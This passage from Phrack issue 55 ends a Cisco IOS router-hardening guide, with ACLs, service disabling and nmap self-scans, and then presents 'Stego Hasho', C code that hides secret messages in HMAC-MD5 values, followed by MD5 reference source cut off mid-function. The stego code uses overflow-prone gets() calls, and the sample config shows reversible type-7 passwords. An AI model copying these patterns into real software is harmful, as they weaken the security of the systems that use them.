Cisco Discovery Protocol (CDP) is a media independent protocol which, by default, runs on all Cisco equipment. The protocol is used for network management and to discover other Cisco devices. The Cisco documentation says:

"CDP allows network management applications to discover Cisco devices that are neighbors of already known devices, in particular, neighbors running lower‑layer, transparent protocols."

To turn CDP off on a specific interface, you can use:

interface Ethernet1

no cdp enable

To disable CDP on all interfaces, you can use the global command:

no cdp run

no ip unreachables

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By default, when an access list drops a packet, the router returns a type 3, code 13 ICMP (administratively prohibited) message. This allows potential attackers to know that the router implements access list filters. Also, most UDP scans rely on the target sending back unreachable messages. To thwart UDP scans we can prevent the router from sending any ICMP type 3 (unreachable) messages by specifying the following on each interface:

no ip unreachables

no ip proxy‑arp

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By default, IOS enables proxy ARP on all interfaces. Since we don't need the service, we will disable it:

interface Ethernet0

no ip proxy‑arp

interface Ethernet1

no ip proxy‑arp

no ip redirects

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In cases where we have no need to send redirects, we will disable them:

interface Ethernet0

no ip redirects

interface Ethernet1

no ip redirects

‑‑‑‑[ Step 8 : Anti‑spoofing

The idea behind anti‑spoofing is that nobody from the outside network should be sending packets to you with a source address of either your inside network address, or certain well‑known and reserved addresses. We will use access lists to drop and log any of these packets. A recent Internet draft is available (draft‑manning‑dsua‑00.txt) which discusses the reserved netblocks that should be blocked at the edge.

ip access‑list extended e1‑in

! Anti‑spoofing: no packets with a src address = our inside net ! Normally, this would not be a RFC 1918 net

deny ip 192.168.0.0 0.0.255.255 any log

!

! Deny first octet zeros, all ones, and loopback network

deny ip 0.0.0.0 0.255.255.255 any log

deny ip host 255.255.255.255 any log

deny ip 127.0.0.0 0.255.255.255 any log

!

! Deny class D (multicast) and class E (reserved for future use) deny ip 224.0.0.0 15.255.255.255 any log

deny ip 240.0.0.0 7.255.255.255 any log

!

! Deny RFC 1918 addresses

deny ip 10.0.0.0 0.255.255.255 any log

deny ip 172.16.0.0 0.15.255.255 any log

! included above in this example

! deny ip 192.168.0.0 0.0.255.255 any log

!

! Deny test‑net

deny ip 192.0.2.0 0.0.0.255 any log

!

! Deny end node autoconfig

deny ip 169.254.0.0 0.0.255.255 any log

What you really want is a switch that will drop packets arriving on an interface with a source address that is not routed out that interface. Some IOS releases have the ability to do this by using something called Cisco Express Forwarding (CEF) in conjunction with the "ip verify unicast reverse‑path" interface command. This requires strictly symmetric routing patterns and a 7500 Series (any 7000 with IOS 11.3) or a 12000 Gigabit switch router to run CEF.

‑‑‑‑[ Step 9 : Mitigating Denial of Service attacks

There have been a rash of new Denial of Service (DoS) attacks over the past few years. We can use access lists and other mechanisms to prevent or at least increase our ability to withstand some common DoS attacks.

SYN Floods

‑‑‑‑‑‑‑‑‑‑

A SYN flood occurs when an attacker sends a TCP SYN segment with an unreachable spoofed source address to an open port on the target. The victim responds with a SYN,ACK to the unreachable host and the TCP handshake never completes. The victim's connection queue quickly gets filled with half‑open connections in the SYN_RCVD state. At some point, the server TCP will start to drop new SYNs.

SYN floods are discussed in the Cisco publication "Defining Strategies to Protect Against TCP SYN Denial of Service Attacks" [4]. Cisco IOS has a mechanism called TCP Intercept [5] which can be used to help protect against SYN floods. TCP Intercept was introduced in IOS 11.3 and requires a specific feature set; it's in the Enterprise feature set and we hear some service provider feature sets and maybe others.

We have found that TCP Intercept works well in practice (protecting against real SYN floods); however, configuring it can be very confusing and the specifics will vary depending on a number of factors. We recommend reading the Cisco documentation and if you are susceptible to SYN floods you may consider implementing TCP Intercept to mitigate the effects.

Land attack

‑‑‑‑‑‑‑‑‑‑‑

The land program sends a packet to the victim with identical source and destination port, and identical IP addresses. This causes many network devices with to panic, including Unix hosts, Windows hosts, routers, etc.

We recommend that you run one of the newer IOS releases which contains fixes for this defect. A Cisco field notice provides details on which IOS versions are vulnerable. [6] If you can't update to a newer IOS, the field notice also contains information on how to configure access lists for protection.

Stop malicious insiders (Ingress Filtering)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If the inside network has untrusted hosts or users, you might want to use Ingress Filtering [7]. By denying packets with spoofed source addresses, Ingress Filtering prevents malicious inside users from launching some Denial of Service attacks.

In our case, this would be achieved by allowing the valid inside addresses out and then denying all others:

! Ingress filter: only allow our net outbound

ip access‑list extended e0‑in

permit ip 192.168.0.0 0.0.255.255 any

deny ip any any log

!

! apply to inbound packets on the inside interface

interface Ethernet0

ip access‑group e0‑in in

Smurf attacks

‑‑‑‑‑‑‑‑‑‑‑‑‑

Smurf attacks continue to plague the Internet. If you don't take appropriate steps, you can be either a victim or an amplifier in a Smurf attack. Craig Huegen has written a paper that details Smurf attacks and defenses [8].

To prevent your network from being used as a smurf amplifier, you need to filter packets sent to the broadcast address of your network.

interface Ethernet0

no ip directed‑broadcast

interface Ethernet1

no ip directed‑broadcast

‑‑‑‑[ Step 10 : Protect hosts behind the router

The router can also provide additional protection to any hosts behind it. This may include bastion hosts running web, FTP, mail, and DNS servers. As an example, we will implement access lists to screen access to an HTTP server host (192.168.0.5). We think it is generally a good idea to filter both inbound and outbound packets (using inbound "in" access lists of each interface‑‑we rarely come across cases where we use outbound "out" access lists).

ip access‑list extended e1‑in

! allow tcp/80 to the web server

permit tcp any host 192.168.0.5 eq www

!

interface Ethernet1

ip access‑group e1‑in in

ip access‑list extended e0‑in

! allow established connections from the web server

permit tcp host 192.168.0.5 eq www any established

!

interface Ethernet0

ip access‑group e0‑in in

Note that this will not protect against command channel attacks directed at the permitted services.

‑‑‑‑[ Step 11 : Verify the configuration

As mentioned earlier, depending upon the IOS version, a "sh running‑config" might not display whether TCP and UDP small‑servers are enabled. You should, at a minimum, run a port scan against the router to verify the basic configuration. Note that if you have disabled IP unreachables, you will have to temporarily re‑enable them to perform a UDP scan.

You can use Fyodor's nmap program [9] to perform the scans.

TCP scan

‑‑‑‑‑‑‑‑

[root@fuel src]# nmap ‑sT 192.168.0.1 ‑p 1‑65535

Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) Interesting ports on (192.168.0.1):

Port State Protocol Service

23 open tcp telnet

If you do not allow VTY access, there shouldn't be any ports open. In this case, we are allowing TELNET access from the same host that performed the scan.

UDP scan

‑‑‑‑‑‑‑‑

[root@fuel config]# nmap ‑sU 192.168.0.1

WARNING: ‑sU is now UDP scan ‑‑ for TCP FIN scan use ‑sF

Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) Interesting ports on (192.168.0.1):

Port State Protocol Service

123 open udp ntp

161 open udp snmp

387 open udp aurp

611 open udp npmp‑gui

727 open udp unknown

910 open udp unknown

Note: We have seen false positives when using nmap for router UDP scans. It can be a good approach to use multiple scanners for these tests. Below we point udp_scan from SATAN at the router. In this case, it turns out that 611/udp and 727/udp are not really open:

[root@fuel bin]# ./udp_scan 192.168.0.1 1‑1024

123:ntp:

161:snmp:

387:UNKNOWN:

910:UNKNOWN:

Also, we have noticed that IOS versions 11.2 and 11.3 have 387/udp and 910/udp open. If someone at Cisco could explain this, we sure would like to hear it. We don't have Appletalk enabled so that doesn't explain the udp/387. We tested IOS 12.0 with the exact same configuration and they are not open.

‑‑‑‑[ Thanks to...

Thanks to everybody who reviewed the paper and provided valuable feedback. You know who you are.

‑‑‑‑[ References

General References

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Increasing Security on IP Networks is at http://www.cisco.com/univercd/cc/td/doc/cisintwk/ics/cs003.htm

Cisco Internet Security Advisories can be found at http://www.cisco.com/warp/public/707/advisory.html

Specific References

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[0] Marcus J. Ranum, "Thinking About Firewalls V2.0: Beyond Perimeter Security" http://www.clark.net/pub/mjr/pubs/think/index.htm

[1] Decoding type 7 passwords http://geek‑girl.com/bugtraq/1997_4/0156.html

[2] Password Recovery Techniques http://www.cisco.com/warp/public/701/22.html

[3] CIAC bulletin on login banners http://ciac.llnl.gov/ciac/bulletins/j‑043.shtml

[4] "Defining Strategies to Protect Against TCP SYN Denial of Service Attacks" http://www.cisco.com/warp/public/707/4.html

[5] Information on TCP Intercept http://www.cisco.com/univercd/cc/td/doc/product/software/ios113ed/

113ed_cr/secur_c/scprt3/scdenial.htm

[6] Information on land attacks http://www.cisco.com/warp/public/770/land‑pub.shtml

[7] RFC 2267: Network Ingress Filtering: Defeating Denial of Service Attacks by P. Ferguson and D. Senie ftp://ftp.isi.edu/in‑notes/rfc2267.txt

[8] Craig Huegen's paper http://users.quadrunner.com/chuegen/smurf.cgi

Cisco has a paper Minimizing the Effects of "Smurfing" Denial of Service (DOS) Attacks http://www.cisco.com/warp/public/707/5.html

[9] Fyodor's nmap

http://www.insecure.org/nmap/

‑‑‑‑[ Appendix A

The complete router configuration is given below.

<++> P55/Bastion‑router/cisco‑conf.txt !75510e67

! We have replaced the mnemonic names with the following addresses: !

! ntp_server1_ip: 192.168.1.100

! ntp_server2_ip: 192.168.1.101

! syslog1_ip: 192.168.1.102

! syslog1_ip: 192.168.1.103

! mgmt_ip: 192.168.1.104

! snmp_mgmt_ip: 192.168.1.105

!

version 11.3

service timestamps debug uptime

service timestamps log datetime localtime

!

! protect passwords

service password‑encryption

enable secret 5 $1$k2gM$4W2tuuTUqxuRd.LQxsh/v.

!

username variablek password 7 110F0B0012

username brett password 7 15190E1A0D24

ip subnet‑zero

!

hostname reeb

!

interface Ethernet0

description Inside Interface

ip address 192.168.0.1 255.255.0.0

ip access‑group e0‑in in

no ip directed‑broadcast

no ip unreachables

no ip proxy‑arp

no ip redirects

!

interface Ethernet1

description Outside Interface

ip address 172.16.1.1 255.255.255.252

ip access‑group e1‑in in

no ip directed‑broadcast

no ip unreachables

no ip proxy‑arp

no ip redirects

!

! turn off unnecessary services

no ip bootp server

! the http server is disabled by default. but be paranoid.

no ip http server

no service tcp‑small‑servers

no service udp‑small‑servers

no service finger

no cdp run

!

! disable source routed packets

no ip source‑route

!

! setup the clock

clock timezone PST ‑8

clock summer‑time zone recurring

! setup NTP

ntp authenticate

ntp authentication‑key 1 md5 151C1F1C0F7932 7

ntp trusted‑key 1

ntp access‑group peer 20

ntp server 192.168.1.100 key 1 prefer

ntp server 192.168.1.101 key 1

!

! configure logging

service timestamps log datetime localtime

logging buffered 4096 informational

logging console informational

logging 192.168.1.102

logging 192.168.1.103

!

! configure SNMP

! allow SNMP reads from hosts in access‑list 10

snmp‑server community h4rd2gu3ss ro 10

! send traps with community names

snmp‑server trap‑authentication

! send all traps to the management host on the inside interface snmp‑server trap‑source Ethernet0

snmp‑server host 192.168.1.105 h4rd2gu3ss

!

! simple static routing. default to the ISP

ip route 0.0.0.0 0.0.0.0 172.16.1.2

ip route 192.168.0.0 255.255.0.0 192.168.0.2

!

! standard ip access‑lists

!

! allowed hosts for SNMP reads

no access‑list 10

access‑list 10 permit host 192.168.1.105

access‑list 10 deny any

!

! ntp hosts

no access‑list 20

access‑list 20 permit host 192.168.1.100

access‑list 20 permit host 192.168.1.101

access‑list 20 deny any

!

! hosts allowed to telnet to the router

no access‑list 99

access‑list 99 permit host 192.168.1.104

access‑list 99 deny any

!

! extended ip access‑lists

!

no ip access‑list extended e1‑in

ip access‑list extended e1‑in

! Anti‑spoofing

! Deny packets on outside with src address = our inside nets

! This normally wouldn't be a RFC 1918 network

deny ip 192.168.0.0 0.0.255.255 any log

!

! Deny first octet zeros, all ones, and loopback

deny ip 0.0.0.0 0.255.255.255 any log

deny ip host 255.255.255.255 any log

deny ip 127.0.0.0 0.255.255.255 any log

!

! Deny class D (multicast) and class E (reserved for future use) deny ip 224.0.0.0 15.255.255.255 any log

deny ip 240.0.0.0 7.255.255.255 any log

!

! Deny RFC 1918 addresses

deny ip 10.0.0.0 0.255.255.255 any log

deny ip 172.16.0.0 0.15.255.255 any log

! included above in this example

! deny ip 192.168.0.0 0.0.255.255 any log

!

! Deny test‑net

deny ip 192.0.2.0 0.0.0.255 any log

! Deny end node autoconfig

deny ip 169.254.0.0 0.0.255.255 any log

!

! ICMP allows

! Allow fragmentation needed messages (type 3 code 4)

permit icmp any 192.168.0.0 0.0.255.255 packet‑too‑big

! Allow outbound ping and MS style traceroute (type 0)

permit icmp any 192.168.0.0 0.0.255.255 echo‑reply

! Uncomment to allow ping to the inside net (type 8)

! permit icmp any 192.168.0.0 0.0.255.255 echo

! Uncomment to allow traceroute

! permit icmp any 192.168.0.0 0.0.255.255 ttl‑exceeded

!

! permit certain connections

! example: permit connections from the outside to a web server permit tcp any host 192.168.0.5 eq 80

!

! explicit default deny

deny ip any any log

!

no ip access‑list extended e0‑in

ip access‑list extended e0‑in

!

! our policy is only allow replies from the inside web server,

! some ICMP and specific inside hosts to access the router.

!

! permit certain connections

! example: allow responses from the web server

permit tcp host 192.168.0.5 eq www any established

!

! allow connections from ntp, mgmt, etc. to the router

permit udp host 192.168.1.105 host 192.168.0.1 eq snmp

permit udp host 192.168.1.100 host 192.168.0.1 eq ntp

permit udp host 192.168.1.101 host 192.168.0.1 eq ntp

permit tcp host 192.168.1.104 host 192.168.0.1 eq telnet

!

! allow specific ICMP out

permit icmp 192.168.0.0 0.0.255.255 any packet‑too‑big

permit icmp 192.168.0.0 0.0.255.255 any echo

! Uncomment to allow inbound ping responses

! permit icmp 192.168.0.0 0.0.255.255 any echo‑reply

! Uncomment to allow traceroute

! permit icmp 192.168.0.0 0.0.255.255 any ttl‑exceeded

!

! Ingress filtering: uncomment to deny connections to router and

! then allow outbound if source address = our net. In this case,

! we don't allow any traffic out and go directly to explicit deny. ! deny ip any host 192.168.0.1 log

! permit ip 192.168.0.0 0.0.255.255 any

!

! explicit deny

deny ip any any log

!

!

line con 0

login local

! logout idle console access after two min

exec‑timeout 2 0

line aux 0

! Uncomment below to disable logins on the AUX port

! no exec

! Or allow password access

login local

line vty 0 4

! uncomment to disable telnet listener

! transport input none

access‑class 99 in

login local

end

$Id: bastion‑ios.txt,v 1.26 1999/06/24 17:06:21 beldridg Exp $ <‑‑>

Stego Hasho

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 11 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Stego Hasho ]

‑‑‑‑‑‑‑‑[ Conehead ]

‑‑‑‑[ Introduction

The use of hash (checksum) functions in a design for encryption/decryption systems is not export controlled by the U.S. government. But even if hash functions aren't allowed to be exported for confidentiality purposes at some point in the future, there will still be a hidden way of accomplishing privacy in their approved, exportable forms (unless the export of MACs also becomes controlled).

‑‑‑‑[ Integrity

The common use for a hash function (basically a one‑way encryptor as opposed to a two‑way such as DES or RSA, taking a variable sized message and reducing it to a set number of random bits) is to assure the integrity of a message from sender to receiver (or anyone else for that matter). The message and its sender computed hash are sent across the network where the receiver compares the received hash with the receiver computed hash using the shared hash function against the received message. If there's no match in the hashes, he/she can assume the message is faulty.

1: H(message)‑‑‑message,hash‑‑‑>H(message)

‑‑‑‑[ Authentication

While this provides for message integrity, it doesn't provide message authentication. Authentication of a message through a hash(generally only between the sender and receiver) can be provided with the addition of a shared secret key between the sender and receiver (possibly exchanged via Diffie‑Hellman) to the message (PGP accomplishes hash authentication through a public key, usually allowing anyone to authenticate it). The message (without the key) and its sender computed hash (using the key) are sent across a wire where the receiver compares the received hash with the receiver computed hash using the shared hash function against the received message and the shared key. This method still allows for deniability among keyholders. With authentication, use of a nonce in the hash should also be considered to avoid a replay attack. Obviously, anyone only using the hash function against the message to produce this hash will find no match. He/she may then assume its a MAC (message authentication code). If there's no match in the hashes, the receiver might not know whether the integrity and/or authentication is to blame.

2: H(message+key)‑‑‑message,hash‑‑‑>H(message+key)

A mandatory construction of protocol 2 for internet security protocols is Bellare's HMAC.

3: H(key XOR opad,H(key XOR ipad,message))

‑‑‑‑[ Confidentiality

While a hash MAC provides for message integrity and authentication, there is no confidentiality to the message using this method. However, a form of message confidentiality using hashes can be achieved with the addition of a few simple steps. In addition to the message and key, the sender will also add a secret message to be hashed. The message (without the key and secret message) and its sender computed hash (using the key and secret message) are sent across a wire where the receiver compares the received hash with the receiver computed hash using the shared hash function against the received message, shared key, and secret message. A receiver may first wish to check if the hash is a MAC, then look for a secret message. If there's no match in the hashes, he/she might not know whether the integrity, authentication, and/or failure to determine the secret is to blame.

4: H(public message+key+secret message)‑‑‑public message,hash‑‑‑>H(public message+key+secret message)

For HMAC, the secret message can be appended to the public message.

5: H(key XOR opad,H(key XOR ipad,public message+secret message))

The obvious question for the receiver is how to choose the right secret message to get the hash to compute correctly. The answer is to use a brute force method using a dictionary of possible secret messages, a method similar to those of password cracking programs with the public message used as the salt. While this may sound unfeasible at first, the choice of a "secret message" dictionary with a reasonable search space (its granularity via letters, words, and/or phrases), the orderliness of the dictionary(sorted by most commonly used to least), a decent hash speed (the size of the secret message is not a factor), and/or performing the hash computations in parallel can simplify brute forcing into a workable solution. In addition to figuring out the secret message, integrity and authentication of both the public and secret messages will also be guaranteed.

‑‑‑‑[ Steganography

By now, it should be obvious from what is sent over the wire in protocols 2 and 4 that hash confidentiality also has a steganographic (hidden) property. Hashes used as one‑time pads or in wheat/chaff operations for confidentiality don't possess this property. In a variation on this method, another stego version of this would be to take out the public message. Some applications such as S/key only send hashes over the wire at certain points in their protocols.

6: H(key+secret message)‑‑‑hash‑‑‑>H(key+secret message)

The strength of the encryption method lies in the strength of the underlying MAC (hash function, key length, key reuse, and construction). The strength of the steganographic method lies in giving the impression that only a MAC is being used: minimizing public message reuse, keeping others ignorant of the stego hasho construction formula, and using the most conservative number of stego hashes to convey a large message(this relates to dictionary granularity). If secret messages need to be tied together in sequential order to form a larger message, using a nonce such as a timestamp in each message for sequencing will suffice (or adopting an external sequence number such as is found in network packets). The stego property can still be maintained because MACs use nonces. Examples where a larger message could be sent without much suspicion could involve a stream of authenticated IPv6 packets or the transfer of a list of files and their corresponding checksums. As far as cryptanalysis, steganalysis, and other attacks are concerned, strong hash function and construction is important. Also, frequent changes in the public message and secret key help. If a particular hash or construction flaw causes the encryption to be broken, change to a more secure one. However, old secret messages may be compromised.

It's kind of ironic that this is a stego method based on embedding a secret into ciphertext (hash), based on a misguided notion as to the ciphertext's function. Other stego methods(such as using image bits) are weaker and may involve more overhead, though they may be strengthened by encrypting the embedded secret.

Example of stego hasho with HMAC construction (source available from RFC2104) using MD5 hash (source available from RFC1321) and on‑line English dictionary (source available from your local cracker).

‑‑‑‑[ The Code

<++> P55/Stego‑hasho/example.c !55654cc3

/*stego hasho exampleo */

#include <time.h>

#include <stdio.h>

#include <string.h>

int

main ()

{

char shared_secret_key[8];

char dictionary_word[20];

char message[100];

char public_message[50];

time_t timestamp_nonce;

char secret_message[20];

unsigned char sender_sent_digest[16],receiver_computed_digest[16]; int i;

FILE *inFile = fopen ("english.dictionary", "r");

printf ("HMAC‑MD5 Stego Hasho\n");

printf ("Sender‑\n");

printf ("Input shared secret key:");

gets(shared_secret_key);

printf ("Input public message:");

gets(public_message);

time (&timestamp_nonce);

printf ("Input secret message:");

gets(secret_message);

printf ("Creating hash\n"); sprintf(message,"%s%d",public_message,timestamp_nonce); strcat(message,secret_message);

hmac_md5(message, strlen(message), shared_secret_key, strlen(shared_secret_key), sender_sent_digest); printf ("Sent across wire from sender to receiver‑\nmessage:%s%d hash:", public_message,timestamp_nonce);

for (i = 0; i < 16; i++)

printf ("%02x", sender_sent_digest[i]);

printf ("\nReceiver‑\n");

printf ("See if only MAC\n"); sprintf(message,"%s%d",public_message,timestamp_nonce); hmac_md5(message, strlen(message), shared_secret_key, strlen(shared_secret_key), receiver_computed_digest); printf ("MAC hash:");

for (i = 0; i < 16; i++)

printf ("%02x",receiver_computed_digest[i]);

if (bcmp(sender_sent_digest,receiver_computed_digest,16) != 0) printf ("\nNot a MAC!\n");

else {

printf ("\nIt's a MAC!\n");

fclose(inFile);

exit(0);

}

printf ("Finding secret message\n");

while (fscanf(inFile,"%s",dictionary_word) != EOF) { sprintf(message,"%s%d",public_message,timestamp_nonce); strcat(message,dictionary_word);

hmac_md5(message, strlen(message), shared_secret_key, strlen(shared_secret_key), receiver_computed_digest); if (bcmp(sender_sent_digest,receiver_computed_digest,16) == 0) { printf ("Dictionary word hash:");

for (i = 0; i < 16; i++)

printf ("%02x", receiver_computed_digest[i]);

printf ("\nThe secret message is %s!\n",dictionary_word); break;

}

}

if (bcmp(sender_sent_digest,receiver_computed_digest,16) != 0) printf ("The secret message was not found!\n"); fclose(inFile);

}

<‑‑>

Sample Run:

HMAC‑MD5 Stego Hasho

Sender‑

Input shared secret key:test

Input public message:this is a test

Input secret message:omega

Creating hash

Sent across wire from sender to receiver‑

message:this is a test915085524 hash:9b7ba39ec743b0eaaccbc08aaa51565b Receiver‑

See if only MAC

MAC hash:324d28bc83e881782914b32812c97152

Not a MAC!

Finding secret message

Dictionary word hash:9b7ba39ec743b0eaaccbc08aaa51565b

The secret message is omega!

Source Code (successfully compiled in SunOS environment)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Makefile

‑‑‑‑‑‑‑‑

<++> P55/Stego‑hasho/Makefile !681efd3d

CC = cc

md5driver: md5driver.o hmac.o md5.o

$(CC) ‑o md5driver md5driver.o hmac.o md5.o

example: hmac.o example.o md5driver.o md5.o

$(CC) ‑o example hmac.o md5driver.o md5.o

<‑‑>

md5.h

‑‑‑‑‑

<++> P55/Stego‑hasho/md5.h !e95d4a1b

#include <memory.h>

/*

***************************************

** md5.h ‑‑ header file for implementation of MD5 ** ** RSA Data Security, Inc. MD5 Message‑Digest Algorithm **

** Created: 2/17/90 RLR

** Revised: 12/27/90 SRD,AJ,BSK,JT Reference C version **

** Revised (for MD5): RLR 4/27/91 **

** ‑‑ G modified to have y&~z instead of y&z ** ** ‑‑ FF, GG, HH modified to add in last register done ** ** ‑‑ Access pattern: round 2 works mod 5, round 3 works mod 3 ** ** ‑‑ distinct additive constant for each step **

** ‑‑ round 4 added, working mod 7 **

***************************************

*/

/*

***************************************

** Copyright (C) 1990, RSA Data Security, Inc. All rights reserved. **

**

** License to copy and use this software is granted provided that ** ** it is identified as the "RSA Data Security, Inc. MD5 Message‑ ** ** Digest Algorithm" in all material mentioning or referencing this **

** software or this function.

**

** License is also granted to make and use derivative works ** ** provided that such works are identified as "derived from the RSA ** ** Data Security, Inc. MD5 Message‑Digest Algorithm" in all ** ** material mentioning or referencing the derived work. **

**

** RSA Data Security, Inc. makes no representations concerning ** ** either the merchantability of this software or the suitability ** ** of this software for any particular purpose. It is provided "as ** ** is" without express or implied warranty of any kind. **

**

** These notices must be retained in any copies of any part of this **

** documentation and/or software. **

***************************************

*/

/*#define bcopy(x,y,n) memmove(y,x,n)

#define bzero(x,y) memset(x,0,y)

#define bcmp(x,y,n) memcmp(x,y,n)*/

/* typedef a 32‑bit type */

typedef unsigned long int UINT4;

/* Data structure for MD5 (Message‑Digest) computation */

typedef struct {

UINT4 i[2]; /* number of _bits_ handled mod 2^64 */

UINT4 buf[4]; /*scratch buffer */

unsigned char in[64]; /* input buffer */

unsigned char digest[16]; /* actual digest after MD5Final call */

} MD5_CTX;

void MD5Init ();

void MD5Update ();

void MD5Final ();

/*

***************************************

** End of md5.h

******************************** (cut) ********************************

*/

<‑‑>

md5.c

‑‑‑‑‑

<++> P55/Stego‑hasho/md5.c !bd76c633

/*

***************************************

** md5.c ‑‑ the source code for MD5 routines ** ** RSA Data Security, Inc. MD5 Message‑Digest Algorithm **

** Created: 2/17/90 RLR

** Revised: 1/91 SRD,AJ,BSK,JT Reference C ver., 7/10 constant corr. **

** Revised: 6/99 Conehead

***************************************

*/

/*

***************************************

** Copyright (C) 1990, RSA Data Security, Inc. All rights reserved. **

**

** License to copy and use this software is granted provided that ** ** it is identified as the "RSA Data Security, Inc. MD5 Message‑ ** ** Digest Algorithm" in all material mentioning or referencing this **

** software or this function.

**

** License is also granted to make and use derivative works ** ** provided that such works are identified as "derived from the RSA ** ** Data Security, Inc. MD5 Message‑Digest Algorithm" in all ** ** material mentioning or referencing the derived work. **

**

** RSA Data Security, Inc. makes no representations concerning ** ** either the merchantability of this software or the suitability ** ** of this software for any particular purpose. It is provided "as ** ** is" without express or implied warranty of any kind. **

**

** These notices must be retained in any copies of any part of this **

** documentation and/or software. **

***************************************

*/

#include "md5.h"

/*

***************************************

** Message‑digest routines:

** To form the message digest for a message M ** ** (1) Initialize a context buffer mdContext using MD5Init ** ** (2) Call MD5Update on mdContext and M **

** (3) Call MD5Final on mdContext **

** The message digest is now in mdContext‑>digest[0...15] **

***************************************

*/

/* forward declaration */

static void Transform ();

static unsigned char PADDING[64] = {

0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

};

/* F, G, H and I are basic MD5 functions */

#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))

#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))

#define H(x, y, z) ((x) ^ (y) ^ (z))

#define I(x, y, z) ((y) ^ ((x) | (~z)))

/* ROTATE_LEFT rotates x left n bits */

#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32‑(n))))

/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4 */

/* Rotation is separate from addition to prevent recomputation */

#define FF(a, b, c, d, x, s, ac) \

{(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \

(a) = ROTATE_LEFT ((a), (s)); \

(a) += (b); \

}

#define GG(a, b, c, d, x, s, ac) \

{(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \

(a) = ROTATE_LEFT ((a), (s)); \

(a) += (b); \

}

#define HH(a, b, c, d, x, s, ac) \

{(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \

(a) = ROTATE_LEFT ((a), (s)); \

(a) += (b); \

}

#define II(a, b, c, d, x, s, ac) \

{(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \

(a) = ROTATE_LEFT ((a), (s)); \

(a) += (b); \

}

/* The routine MD5Init initializes the message‑digest context

mdContext. All fields are set to zero.

*/

void MD5Init (mdContext)

MD5_CTX *mdContext;

{

mdContext‑>i[0] = mdContext‑>i[1] = (UINT4)0;

/* Load magic initialization constants.

*/

mdContext‑>buf[0] = (UINT4)0x67452301;

mdContext‑>buf[1] = (UINT4)0xefcdab89;

mdContext‑>buf[2] = (UINT4)0x98badcfe;

mdContext‑>buf[3] = (UINT4)0x10325476;

}

/* The routine MD5Update updates the message‑digest context to

account for the presence of each of the characters inBuf[0..inLen‑1] in the message whose digest is being computed.

*/

void MD5Update (mdContext, inBuf, inLen)

MD5_CTX *mdContext;

unsigned char *inBuf;

unsigned int inLen;

{

UINT4 in[16];

int mdi;

unsigned int i, ii;

/* compute number of bytes mod 64 */

mdi = (int)((mdContext‑>i[0] >> 3) & 0x3F);

/* update number of bits */

if ((mdContext‑>i[0] + ((UINT4)inLen << 3)) < mdContext‑>i[0]) mdContext‑>i[1]++;

mdContext‑>i[0] += ((UINT4)inLen << 3);

mdContext‑>i[1] += ((UINT4)inLen >> 29);

while (inLen‑‑) {

/* add new character to buffer, increment mdi */

mdContext‑>in[mdi++] = *inBuf++;

/* transform if necessary */

if (mdi == 0x40) {

for (i = 0, ii = 0; i < 16; i++, ii += 4)

in[i] = (((UINT4)mdContext‑>in[ii+3]) << 24) | (((UINT4)mdContext‑>in[ii+2]) << 16) | (((UINT4)mdContext‑>in[ii+1]) << 8) | ((UINT4)mdContext‑>in[ii]);

Transform (mdContext‑>buf, in);

mdi = 0;

}

}

}

/* The routine MD5Final terminates the message‑digest computation and

ends with the desired message digest in mdContext‑>digest[0...15]. */

void MD5Final (digest,mdContext)

unsigned char *digest;

MD5_CTX *mdContext;

{

UINT4 in[16];

int mdi;

unsigned int i, ii;

unsigned int padLen;

/* save number of bits */

in[14] = mdContext‑>i[0];

in[15] = mdContext‑>i[1];

/* compute number of bytes mod 64 */

mdi = (int)((mdContext‑>i[0] >> 3) & 0x3F);

/* pad out to 56 mod 64 */

padLen = (mdi < 56) ? (56 ‑ mdi) : (120 ‑ mdi);

MD5Update (mdContext, PADDING, padLen);

/* append length in bits and transform */

for (i = 0, ii = 0; i < 14; i++, ii += 4)

in[i] = (((UINT4)mdContext‑>in[ii+3]) << 24) | (((UINT4)mdContext‑>in[ii+2]) << 16) | (((UINT4)mdContext‑>in[ii+1]) << 8) | ((UINT4)mdContext‑>in[ii]);

Transform (mdContext‑>buf, in);

/* store buffer in digest */

for (i = 0, ii = 0; i < 4; i++, ii += 4) { mdContext‑>digest[ii] = (unsigned char)(mdContext‑>buf[i] & 0xFF); mdContext‑>digest[ii+1] =

(unsigned char)((mdContext‑>buf[i] >> 8) & 0xFF); mdContext‑>digest[ii+2] =

(unsigned char)((mdContext‑>buf[i] >> 16) & 0xFF); mdContext‑>digest[ii+3] =

(unsigned char)((mdContext‑>buf[i] >> 24) & 0xFF);

}

